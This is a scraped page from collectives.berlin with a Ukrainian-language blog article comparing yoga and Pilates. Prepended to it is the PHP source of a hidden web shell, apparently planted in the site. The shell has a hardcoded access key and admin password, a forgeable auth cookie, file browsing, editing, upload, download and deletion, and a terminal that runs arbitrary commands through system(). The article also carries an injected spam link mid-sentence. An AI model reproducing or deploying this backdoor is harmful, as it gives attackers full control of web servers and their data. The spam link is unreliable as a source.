if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Йога та пілатес: гармонія тіла та духу – collectives.berlin

Your digital paradise.

Йога та пілатес: гармонія тіла та духу

Йога та пілатес – це дві популярні практики, які набирають все більшої популярності в сучасному світі. Обидві методики спрямовані на покращення фізичного стану, https://champfocus.org.ua гнучкості, сили, а також на досягнення внутрішньої гармонії та спокою. Незважаючи на деякі спільні риси, йога та пілатес мають свої унікальні особливості, які роблять їх особливими в світі фітнесу. У цьому дослідженні ми розглянемо їхні принципи, переваги, відмінності та способи інтеграції в повсякденне життя.

Історія та основи

Йога — це давня індійська практика, яка налічує тисячі років. Вона виникла як шлях до самопізнання та духовного розвитку. Йога об’єднує фізичні вправи, дихальні техніки, медитацію та філософію. Основна мета йоги — досягти гармонії між тілом, розумом і духом. Йога включає різноманітні стилі, такі як хатха-йога, асанна, кундаліні, бікрам та інші.

Пілатес, з іншого боку, був розроблений в 20-х роках XX століття Джозефом Пілатесом. Ця система вправ була створена для реабілітації та зміцнення тіла. Пілатес акцентує увагу на розвитку м’язів, контролі над рухами, диханні та покращенні постави. Основні принципи пілатесу включають концентрацію, контроль, центрованість, точність, дихання та рух.

Переваги йоги та пілатесу

Обидві практики мають численні переваги для фізичного та психічного здоров’я.

Переваги йоги:

  1. Гнучкість: Регулярні заняття йогою покращують гнучкість м’язів і суглобів, що зменшує ризик травм.
  2. Сила: Йога допомагає зміцнити основні м’язи, покращуючи загальну фізичну форму.
  3. Розслаблення: Техніки медитації та дихання сприяють зменшенню стресу та тривоги.
  4. Покращення концентрації: Йога вчить зосереджуватися на моменті, що покращує увагу та ясність думок.
  5. Духовний розвиток: Йога надає можливість глибшого самопізнання та розвитку духовності.

Переваги пілатесу:

  1. Покращення постави: Пілатес акцентує увагу на правильній поставі, що зменшує навантаження на хребет.
  2. Сила та витривалість: Вправи пілатесу сприяють розвитку м’язової сили та витривалості.
  3. Контроль над тілом: Пілатес вчить контролювати свої рухи, що допомагає уникнути травм.
  4. Зменшення болю в спині: Багато людей відзначають покращення стану спини після занять пілатесом.
  5. Покращення дихання: Пілатес включає дихальні техніки, які сприяють покращенню функції легенів.

Відмінності між йогою та пілатесом

Хоча йога та пілатес мають спільні риси, вони також мають суттєві відмінності.

  1. Філософія: Йога має глибокі духовні корені та філософські аспекти, тоді як пілатес зосереджений на фізичному розвитку.
  2. Структура занять: Заняття йогою зазвичай включають медитацію та дихальні практики, тоді як пілатес фокусується на виконанні певних вправ.
  3. Типи рухів: Йога включає статичні пози, тоді як пілатес акцентує увагу на динамічних рухах з контролем.
  4. Обладнання: Пілатес часто використовує спеціальне обладнання, таке як реформери, тоді як йога вимагає лише килимка.

Інтеграція в повсякденне життя

Обидві практики можуть бути легко інтегровані в повсякденне життя. Ось кілька порад:

  • Регулярність: Намагайтеся займатися йогою або пілатесом кілька разів на тиждень. Це допоможе підтримувати фізичну форму і знижувати рівень стресу.
  • Вибір стилю: Виберіть стиль, який найбільше відповідає вашим потребам. Якщо ви шукаєте духовний розвиток, оберіть йогу. Якщо вас цікавить зміцнення тіла, спробуйте пілатес.
  • Комбінація: Багато людей знаходять користь у комбінації обох практик. Заняття йогою можуть доповнити пілатес, і навпаки.
  • Онлайн-ресурси: Використовуйте онлайн-уроки та відео, щоб займатися вдома, якщо у вас немає можливості відвідувати заняття в залі.

Висновок

Йога та пілатес — це чудові практики, які можуть допомогти досягти гармонії між тілом і духом. Вони пропонують різні підходи до фізичного та психічного розвитку, але обидві мають на меті покращення якості життя. Незалежно від того, який шлях ви оберете, важливо пам’ятати, що регулярність та усвідомленість є ключовими факторами для досягнення успіху в цих практиках. Вибирайте те, що вам найбільше підходить, і насолоджуйтеся шляхом до гармонії тіла та духу.

Leave a Reply

Your email address will not be published. Required fields are marked *